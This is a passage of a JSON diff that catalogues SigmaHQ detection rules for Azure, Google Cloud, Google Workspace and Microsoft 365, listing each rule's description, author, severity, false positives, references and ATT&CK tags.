"2021/08/16", + "falsepositive": [ + "Suppression Rule being created may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_suppression_rule_created.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", + "value": "Azure Suppression Rule Created" + }, + { + "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", + "meta": { + "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", + "creation_date": "2022/08/10", + "falsepositive": [ + "Administrator adding a legitmate temporary access pass" + ], + "filename": "azure_tap_added.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1078" + ] + }, + "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", + "value": "Temporary Access Pass Added To An Account" + }, + { + "description": "Detects when there is a interruption in the authentication process.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/26", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_unusual_authentication_interruption.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "8366030e-7216-476b-9927-271d79f13cf3", + "value": "Azure Unusual Authentication Interruption" + }, + { + "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", + "meta": { + "author": "MikeDuddington, '@dudders1'", + "creation_date": "2022/06/30", + "falsepositive": [ + "If this was approved by System Administrator." + ], + "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", + "value": "Users Authenticating To Other Azure AD Tenants" + }, + { + "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.\n", + "meta": { + "author": "AlertIQ", + "creation_date": "2021/10/10", + "falsepositive": [ + "Unknown" + ], + "filename": "azure_user_login_blocked_by_conditional_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ] + }, + "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", + "value": "User Access Blocked by Azure Conditional Access" + }, + { + "description": "Detect when a user has reset their password in Azure AD", + "meta": { + "author": "YochanaHenderson, '@Yochana-H'", + "creation_date": "2022/08/03", + "falsepositive": [ + "If this was approved by System Administrator or confirmed user action." + ], + "filename": "azure_user_password_change.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" + ], + "tags": [ + "attack.t1078" + ] + }, + "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", + "value": "Password Reset By User Account" + }, + { + "description": "Identifies when a Virtual Network is modified or deleted in Azure.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_virtual_network_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", + "value": "Azure Virtual Network Modified or Deleted" + }, + { + "description": "Identifies when a VPN connection is modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/08", + "falsepositive": [ + "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "azure_vpn_connection_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "azure", + "refs": [ + "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", + "value": "Azure VPN Connection Modified or Deleted" + }, + { + "description": "Detects when storage bucket is enumerated in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/14", + "falsepositive": [ + "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_bucket_enumeration.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml" + ], + "tags": [ + "attack.discovery" + ] + }, + "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", + "value": "Google Cloud Storage Buckets Enumeration" + }, + { + "description": "Detects when storage bucket is modified or deleted in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/14", + "falsepositive": [ + "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_bucket_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/storage/docs/json_api/v1/buckets", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", + "value": "Google Cloud Storage Buckets Modified or Deleted" + }, + { + "description": "Identifies when sensitive information is re-identified in google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "gcp_dlp_re_identifies_sensitive_information.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" + ], + "tags": [ + "attack.impact", + "attack.t1565" + ] + }, + "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", + "value": "Google Cloud Re-identifies Sensitive Information" + }, + { + "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/15", + "falsepositive": [ + "Unknown" + ], + "filename": "gcp_dns_zone_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/dns/docs/reference/v1/managedZones", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", + "value": "Google Cloud DNS Zone Modified or Deleted" + }, + { + "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/13", + "falsepositive": [ + "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", + "Exceptions can be added to this rule to filter expected behavior." + ], + "filename": "gcp_firewall_rule_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ] + }, + "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", + "value": "Google Cloud Firewall Modified or Deleted" + }, + { + "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/13", + "falsepositive": [ + "Full Network Packet Capture may be done by a system or network administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_full_network_traffic_packet_capture.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074" + ] + }, + "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", + "value": "Google Full Network Traffic Packet Capture" + }, + { + "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/25", + "falsepositive": [ + "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_kubernetes_admission_controller.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1078", + "attack.credential_access", + "attack.t1552", + "attack.t1552.007" + ] + }, + "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", + "value": "Google Cloud Kubernetes Admission Controller" + }, + { + "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/11/22", + "falsepositive": [ + "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", + "If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_kubernetes_cronjob.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs", + "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", + "https://kubernetes.io/docs/concepts/workloads/controllers/job/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.execution" + ] + }, + "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", + "value": "Google Cloud Kubernetes CronJob" + }, + { + "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/09", + "falsepositive": [ + "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_kubernetes_rolebinding.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://github.com/elastic/detection-rules/pull/1267", + "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", + "value": "Google Cloud Kubernetes RoleBinding" + }, + { + "description": "Identifies when the Secrets are Modified or Deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/09", + "falsepositive": [ + "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_secrets_modified_or_deleted.yml" + ], + "tags": [ + "attack.credential_access" + ] + }, + "uuid": "2f0bae2d-bf20-4465-be86-1311addebaa3", + "value": "Google Cloud Kubernetes Secrets Modified or Deleted" + }, + { + "description": "Identifies when a service account is disabled or deleted in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/14", + "falsepositive": [ + "Service Account being disabled or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account disabled or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_service_account_disabled_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_disabled_or_deleted.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ] + }, + "uuid": "13f81a90-a69c-4fab-8f07-b5bb55416a9f", + "value": "Google Cloud Service Account Disabled or Deleted" + }, + { + "description": "Identifies when a service account is modified in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/14", + "falsepositive": [ + "Service Account being modified may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Service Account modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_service_account_modified.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/iam/docs/reference/rest/v1/projects.serviceAccounts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_service_account_modified.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "6b67c12e-5e40-47c6-b3b0-1e6b571184cc", + "value": "Google Cloud Service Account Modified" + }, + { + "description": "Detect when a Cloud SQL DB has been modified or deleted.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/10/15", + "falsepositive": [ + "SQL Database being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "SQL Database modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_sql_database_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://cloud.google.com/sql/docs/mysql/admin-api/rest/v1beta4/users/update", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_sql_database_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "f346bbd5-2c4e-4789-a221-72de7685090d", + "value": "Google Cloud SQL Database Modified or Deleted" + }, + { + "description": "Identifies when a VPN Tunnel Modified or Deleted in Google Cloud.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/16", + "falsepositive": [ + "VPN Tunnel being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "VPN Tunnel modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "filename": "gcp_vpn_tunnel_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "gcp", + "refs": [ + "https://any-api.com/googleapis_com/compute/docs/vpnTunnels", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_vpn_tunnel_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "99980a85-3a61-43d3-ac0f-b68d6b4797b1", + "value": "Google Cloud VPN Tunnel Modified or Deleted" + }, + { + "description": "Detects when an an application is removed from Google Workspace.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/26", + "falsepositive": [ + "Application being removed may be performed by a System Administrator." + ], + "filename": "gworkspace_application_removed.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings?hl=en#REMOVE_APPLICATION_FROM_WHITELIST", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_application_removed.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "ee2803f0-71c8-4831-b48b-a1fc57601ee4", + "value": "Google Workspace Application Removed" + }, + { + "description": "Detects when an API access service account is granted domain authority.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "gworkspace_granted_domain_api_access.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-domain-settings#AUTHORIZE_API_CLIENT_ACCESS", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_granted_domain_api_access.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "04e2a23a-9b29-4a5c-be3a-3542e3f982ba", + "value": "Google Workspace Granted Domain API Access" + }, + { + "description": "Detects when multi-factor authentication (MFA) is disabled.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/26", + "falsepositive": [ + "MFA may be disabled and performed by a system administrator." + ], + "filename": "gworkspace_mfa_disabled.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings#ENFORCE_STRONG_AUTHENTICATION", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-security-settings?hl=en#ALLOW_STRONG_AUTHENTICATION", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_mfa_disabled.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "780601d1-6376-4f2a-884e-b8d45599f78c", + "value": "Google Workspace MFA Disabled" + }, + { + "description": "Detects when an a role is modified or deleted in Google Workspace.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "gworkspace_role_modified_or_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "6aef64e3-60c6-4782-8db3-8448759c714e", + "value": "Google Workspace Role Modified or Deleted" + }, + { + "description": "Detects when an a role privilege is deleted in Google Workspace.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/24", + "falsepositive": [ + "Unknown" + ], + "filename": "gworkspace_role_privilege_deleted.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-delegated-admin-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_role_privilege_deleted.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "bf638ef7-4d2d-44bb-a1dc-a238252e6267", + "value": "Google Workspace Role Privilege Deleted" + }, + { + "description": "Detects when an Google Workspace user is granted admin privileges.", + "meta": { + "author": "Austin Songer", + "creation_date": "2021/08/23", + "falsepositive": [ + "Google Workspace admin role privileges, may be modified by system administrators." + ], + "filename": "gworkspace_user_granted_admin_privileges.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "google_workspace", + "refs": [ + "https://cloud.google.com/logging/docs/audit/gsuite-audit-logging#3", + "https://developers.google.com/admin-sdk/reports/v1/appendix/activity/admin-user-settings#GRANT_ADMIN_PRIVILEGE", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gworkspace/gworkspace_user_granted_admin_privileges.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "2d1b83e4-17c6-4896-a37b-29140b40a788", + "value": "Google Workspace User Granted Admin Privileges" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce.\nThis is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_activity_by_terminated_user.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_by_terminated_user.yml" + ], + "tags": [ + "attack.impact" + ] + }, + "uuid": "2e669ed8-742e-4fe5-b3c4-5a59b486c2ee", + "value": "Activity Performed by Terminated User" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "User using a VPN or Proxy" + ], + "filename": "microsoft365_activity_from_anonymous_ip_addresses.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_anonymous_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ] + }, + "uuid": "d8b0a4fe-07a8-41be-bd39-b14afa025d95", + "value": "Activity from Anonymous IP Addresses" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when an activity occurs from a location that wasn't recently or never visited by any user in the organization.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_activity_from_infrequent_country.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_activity_from_infrequent_country.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ] + }, + "uuid": "0f2468a2-5055-4212-a368-7321198ee706", + "value": "Activity from Infrequent Country" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_data_exfiltration_to_unsanctioned_app.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_data_exfiltration_to_unsanctioned_app.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1537" + ] + }, + "uuid": "2b669496-d215-47d8-bd9a-f4a45bf07cda", + "value": "Data Exfiltration to Unsanctioned Apps" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported users were active from an IP address identified as risky by Microsoft Threat Intelligence.\nThese IP addresses are involved in malicious activities, such as Botnet C&C, and may indicate compromised account.\n", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_from_susp_ip_addresses.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_from_susp_ip_addresses.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ] + }, + "uuid": "a3501e8e-af9e-43c6-8cd6-9360bdaae498", + "value": "Activity from Suspicious IP Addresses" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported a risky sign-in attempt due to a login associated with an impossible travel.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2020/07/06", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_impossible_travel_activity.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_impossible_travel_activity.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": "d7eab125-5f94-43df-8710-795b80fa1189", + "value": "Microsoft 365 - Impossible Travel Activity" + }, + { + "description": "Detects when a Microsoft Cloud App Security reported when a user signs into your sanctioned apps from a risky IP address.", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "microsoft365_logon_from_risky_ip_address.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "m365", + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_logon_from_risky_ip_address.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1078" + ] + }, + "uuid": 